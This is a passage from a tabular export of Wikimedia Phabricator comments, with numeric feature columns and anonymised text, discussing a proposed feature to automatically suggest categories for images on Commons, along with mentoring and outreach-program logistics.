Why removing #MediaWiki-extension-requests ? It would be great to have this feature integrated in mediawiki, no ? For example directly integrated into the #UploadWizard.",,,1531745771,,PHID-USER-aswxykknolbbycawydkz,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,263,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,19.0,2.0,2.0,6.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,5.0,14.0,11.0,3.0,0.0,0.0,5.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,4.203125,0.796875,"QUOTE
QUOTE
QUOTE

True, but as I rememberSCREEN_NAME says during the presentation that she worked on a proof-of-concept. Backend is at URL

Why removing #MediaWiki-extension-requests ? It would be great to have this feature integrated in mediawiki, no ? For example directly integrated into the #UploadWizard."
1104655,Automatically propose/suggest a category for images,"Someone correct me if I'm wrong: I think that @Niharika worked on this in {T155538} as can be seen in https://commons.wikimedia.org/wiki/File:Wikimedia_Hackathon_2018_showcase_-_Image_labelling_and_category_suggester.jpg ? 
Wondering if there is a link to a codebase to share?",,,1531745242,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,263,,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,21.0,3.0,5.0,0.0,0.0,8.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,3.4473684210526314,0.8421052631578947,"Someone correct me if I'm wrong: I think thatSCREEN_NAME worked on this in {T155538} as can be seen in URL ? 
Wondering if there is a link to a codebase to share?"
1102765,Automatically propose/suggest a category for images,"Removing the  #possible-tech-projects tag as we are planning to kill it soon! This project does not seem to fit in the #outreach-programs-projects category in its current state, so I am not adding that tag right now! ",,,1531374696,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,262,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,4.0,0.0,6.0,0.0,0.0,4.0,4.0,6.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.62,0.78,"Removing the  #possible-tech-projects tag as we are planning to kill it soon! This project does not seem to fit in the #outreach-programs-projects category in its current state, so I am not adding that tag right now! "
846089,Automatically propose/suggest a category for images,I'm interested in thinking along/working on image recognition (and classification) on Commons. See also T155538.,,,1492719064,,PHID-USER-dl5hhyukw7ernefjsgrd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.454545454545454,0.9090909090909091,I'm interested in thinking along/working on image recognition (and classification) on Commons. See also T155538.
845997,Automatically propose/suggest a category for images,"@WereSpielChequers That sounds great! Thanks for willing to mentor :) I'm going to link your Phabricator username in the hackathon task, and if someone wants to reach out to you for questions, they can comment here or msg you on Phabricator? ",,,1492713320,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,22.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,4.0,2.0,0.0,2.0,2.0,0.0,11.0,0.0,0.0,0.0,11.0,22.0,4.0,2.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.217391304347826,0.8478260869565217,"SCREEN_NAME That sounds great! Thanks for willing to mentor :) I'm going to link your Phabricator username in the hackathon task, and if someone wants to reach out to you for questions, they can comment here or msg you on Phabricator? "
845514,Automatically propose/suggest a category for images,"I'm happy to mentor, though my availability is limited at present. Email me if a Skype chat would be useful.",,,1492679788,,PHID-USER-a4aiqpertfr5ceq6qg2d,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,17.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.7083333333333335,0.9583333333333334,"I'm happy to mentor, though my availability is limited at present. Email me if a Skype chat would be useful."
845363,Automatically propose/suggest a category for images,"I'm adding this task here T154988. Let me know if it is not a good idea to do so :) Also, if it's fine as it is in the linked task, would someone be willing to be a point of contact/ mentor/ available to answer questions for this task during the hackathon?  ",,,1492645954,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0.0,2.0,0.0,0.0,2.0,7.0,7.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,3.0,0.0,10.0,0.0,2.0,0.0,0.0,10.0,0.0,3.0,0.0,8.0,17.0,3.0,2.0,0.0,0.0,8.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,3.4915254237288136,0.7796610169491526,"I'm adding this task here T154988. Let me know if it is not a good idea to do so :) Also, if it's fine as it is in the linked task, would someone be willing to be a point of contact/ mentor/ available to answer questions for this task during the hackathon?  "
845360,Automatically propose/suggest a category for images,I'm adding this task here T154988. Let me know if it is not a good idea to do so :) ,,,1492645575,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,14.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,5.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,2.909090909090909,1.0,I'm adding this task here T154988. Let me know if it is not a good idea to do so :) 
818016,Automatically propose/suggest a category for images,"I'm not sure I'd call it ""standard"".  Image processing is a notoriously difficult problem.  See https://xkcd.com/1425/ for relevant discussion.  ",,,1488416741,,PHID-USER-u64h73gx226teqcym3r5,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,191,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.689655172413793,0.7931034482758621,"I'm not sure I'd call it ""standard"".  Image processing is a notoriously difficult problem.  See URL for relevant discussion.  "
817412,Automatically propose/suggest a category for images,"@Halfak this looks like an interesting and standard ML thing. Can this be structured as a research project to do a feasibility study of methods for image category suggestions for current round of GSoC, Outreachy, RGSoC internships?",,,1488342572,,PHID-USER-ll7x5qhzru4lqz3xfdbm,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,191,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,17.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.853658536585366,0.8780487804878049,"SCREEN_NAME this looks like an interesting and standard ML thing. Can this be structured as a research project to do a feasibility study of methods for image category suggestions for current round of GSoC, Outreachy, RGSoC internships?"
816638,Automatically propose/suggest a category for images,"(NOTE) This task was proposed in the #community-wishlist-survey-2016 and in its current state needs owner. Wikimedia is participating in [[ https://www.mediawiki.org/wiki/Google_Summer_of_Code_2017 | Google Summer of Code 2017 ]] and [[ https://www.mediawiki.org/wiki/Outreachy/Round_14 | Outreachy Round 14 ]].  To the subscribers -- would this task or a portion of it be a good fit for either of these programs? If so, would you be willing to help mentor this project? Remember, each outreach project requires a minimum of one primary mentor, and co-mentor.",,,1488248718,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,191,,1.0,0.0,0.0,0.5,0.0,5.0,2.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,8.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.5,1.5,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,15.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,7.5,1.0,3.0,9.5,0.0,0.0,0.0,0.5,5.0,0.0,2.0,0.0,2.5,8.5,3.5,2.0,0.0,0.0,2.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,1.0,3.681372549019608,0.7379336349924586,"(NOTE) This task was proposed in the #community-wishlist-survey-2016 and in its current state needs owner. Wikimedia is participating in [[ URL | Google Summer of Code 2017 ]] and [[ URL | Outreachy Round 14 ]].  To the subscribers -- would this task or a portion of it be a good fit for either of these programs? If so, would you be willing to help mentor this project? Remember, each outreach project requires a minimum of one primary mentor, and co-mentor."
620734,Automatically propose/suggest a category for images,"IMPORTANT: This is a message posted to all tasks under ""Need Discussion"" at Possible-Tech-Projects. Wikimedia has been accepted as a mentor organization for GSoC '16. If you want to propose this task as a featured project idea, we need a clear plan with community support, and two mentors willing to support it.",,,1456853860,,PHID-USER-ll7x5qhzru4lqz3xfdbm,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,139,,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,15.0,8.0,0.0,5.0,0.0,5.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8153846153846154,"IMPORTANT: This is a message posted to all tasks under ""Need Discussion"" at Possible-Tech-Projects. Wikimedia has been accepted as a mentor organization for GSoC '16. If you want to propose this task as a featured project idea, we need a clear plan with community support, and two mentors willing to support it."
539154,Automatically propose/suggest a category for images,"Hi. I am new to image recognition, so I think this could be a great learning opportunity for me. I would really appreciate it if I could get some help understanding the scope of this project and also help me find mentors, or suggest how I could get in touch with possible mentors. I am interested in applying for this project in Outreachy 11, but if that doesn't work out, I think this would still be a really great learning opportunity for me and I would like to contribute to it nonetheless. Thanks. ",,,1443721833,,PHID-USER-stsyzohkfwbw7rep2wxj,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,117,,0.5,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,1.5,4.0,1.0,0.0,0.0,0.0,7.5,0.5,5.5,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.5,0.5,4.0,4.0,1.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,8.0,2.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.5,2.0,3.0,8.0,2.0,3.5,6.5,0.0,0.0,0.0,0.0,7.5,0.5,1.0,0.0,9.0,12.0,1.0,0.0,0.0,0.0,9.0,0.0,0.5,1.5,2.0,1.5,0.0,0.0,0.0,3.971907993966817,0.7767722473604827,"Hi. I am new to image recognition, so I think this could be a great learning opportunity for me. I would really appreciate it if I could get some help understanding the scope of this project and also help me find mentors, or suggest how I could get in touch with possible mentors. I am interested in applying for this project in Outreachy 11, but if that doesn't work out, I think this would still be a really great learning opportunity for me and I would like to contribute to it nonetheless. Thanks. "
536990,Automatically propose/suggest a category for images,"The description says ""Possible mentors: Kristian Kankainen (Keeleleek); WereSpielChequers?"" CCing @werespielchequers, couldn't find Kristian.

I'm also adding #Community-Tech, since this feature looks like within their scope of tools helping experienced editors. Please remove it if this is not correct.

It looks like this task needs a bit of discussion to confirm that it is a good fit for #Possible-Tech-Projects. Is it a feature that is needed and the community would welcome? Is the estimated project time for a senior contributor around 2-3 weeks?",,,1443519573,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,117,,0.0,0.0,0.0,1.0,1.0,3.5,2.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,1.5,9.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.5,7.5,1.5,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,1.0,1.0,11.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,11.5,2.0,1.0,8.0,0.0,0.0,0.0,1.5,3.0,0.5,2.0,0.0,4.0,9.0,5.0,2.5,1.0,0.0,4.0,0.0,1.0,3.5,0.0,1.0,0.0,0.0,0.0,4.194318181818182,0.8373376623376624,"The description says ""Possible mentors: Kristian Kankainen (Keeleleek); WereSpielChequers?"" CCingSCREEN_NAME, couldn't find Kristian.

I'm also adding #Community-Tech, since this feature looks like within their scope of tools helping experienced editors. Please remove it if this is not correct.

It looks like this task needs a bit of discussion to confirm that it is a good fit for #Possible-Tech-Projects. Is it a feature that is needed and the community would welcome? Is the estimated project time for a senior contributor around 2-3 weeks?"
536946,Automatically propose/suggest a category for images,Hi. I think this project is very interesting. I want to work on this in the upcoming round of Outreachy and I want to know what is expected out of me in terms of the skills and background knowledge required. Please let me know how I can contribute. Thanks. ,,,1443514187,,PHID-USER-stsyzohkfwbw7rep2wxj,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,117,,0.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,4.0,15.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,11.0,17.0,2.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.6666666666666666,Hi. I think this project is very interesting. I want to work on this in the upcoming round of Outreachy and I want to know what is expected out of me in terms of the skills and background knowledge required. Please let me know how I can contribute. Thanks. 
533084,Automatically propose/suggest a category for images,"This is a message sent to all #Possible-Tech-Projects. The new round of [[ https://meta.wikimedia.org/wiki/Grants:IEG | Wikimedia Individual Engagement Grants ]] is open until 29 Sep. For the first time, technical projects are within scope, thanks to the feedback received at Wikimania 2015, before, and after ([[ https://phabricator.wikimedia.org/T105414 | T105414 ]]). If someone is interested in obtaining funds to push this task, this might be a good way.",,,1443000963,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,116,,1.0,1.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,3.0,3.6744186046511627,0.7441860465116279,"This is a message sent to all #Possible-Tech-Projects. The new round of [[ URL | Wikimedia Individual Engagement Grants ]] is open until 29 Sep. For the first time, technical projects are within scope, thanks to the feedback received at Wikimania 2015, before, and after ([[ URL | T105414 ]]). If someone is interested in obtaining funds to push this task, this might be a good way."
533007,Automatically propose/suggest a category for images,"This is a message posted to all tasks under ""Re-check in September 2015"" at #Possible-Tech-Projects. #Outreachy-Round-11 is around the corner. If you want to propose this task as a featured project idea, we need a clear plan with community support, and two mentors willing to support it.",,,1442999420,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,116,,2.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,2.0,2.0,11.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,5.0,17.0,8.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.765625,0.78125,"This is a message posted to all tasks under ""Re-check in September 2015"" at #Possible-Tech-Projects. #Outreachy-Round-11 is around the corner. If you want to propose this task as a featured project idea, we need a clear plan with community support, and two mentors willing to support it."
216604,Automatically propose/suggest a category for images,"Yeah, this idea is interesting but pretty much out of scope for Bugzilla as long as it's entirely unclear how to code it.",,,1405685443,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,54,,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,19.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8076923076923075,0.9230769230769231,"Yeah, this idea is interesting but pretty much out of scope for Bugzilla as long as it's entirely unclear how to code it."
216600,Automatically propose/suggest a category for images,So we discuss a number of options here and it is not clear at all how to proceed. Wondering if an https://www.mediawiki.org/wiki/Requests_for_comment would be better.,,,1373888179,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,2,,4.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,4.0,4.0,0.0,0.0,3.4814814814814814,0.9629629629629629,So we discuss a number of options here and it is not clear at all how to proceed. Wondering if an URL would be better.
216594,Automatically propose/suggest a category for images,Is this bug also apropriate for mw extension VisualEditor ?,,,1373629378,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Is this bug also apropriate for mw extension VisualEditor ?
216588,Automatically propose/suggest a category for images,"Gather display and add few more options

option 6)At advance search give an option to compare and suggest a category. If selected Compare the categories also when advance search is being carried out.

Have a differentlly coloured column on right hand side of search results of uncatgorised pages 


Option 7)In special pages there is one tool called  Special:ComparePages .The tool is currently under utilised if enhanced with feature button assking to show uncategorised pages one after another. and suggesting pages for comparison . Utilisation of this good tool will improve and also rest of the data also will get improved.",,,1367070822,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,0.5,0.0,0.0,2.0,0.0,4.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,1.0,3.5,1.5,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,15.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,2.0,3.0,4.5,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,9.5,4.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.5,0.0,0.0,4.818181818181818,0.8090909090909091,"Gather display and add few more options

option 6)At advance search give an option to compare and suggest a category. If selected Compare the categories also when advance search is being carried out.

Have a differentlly coloured column on right hand side of search results of uncatgorised pages 


Option 7)In special pages there is one tool called  Special:ComparePages .The tool is currently under utilised if enhanced with feature button assking to show uncategorised pages one after another. and suggesting pages for comparison . Utilisation of this good tool will improve and also rest of the data also will get improved."
216580,Automatically propose/suggest a category for images,"I came across one edit filter Filter no1(http://ja.wikipedia.org/wiki/特別:不正利用フィルター/1)  on Japanese Wikipedia it has tagged more than 80000 new uncategorised pages , the data what is already available in special pages.But here purpose of using edit filter may be to be behind page creators to add a category.This is how an avarage wikipedian looks towards imporatance of categorisation it 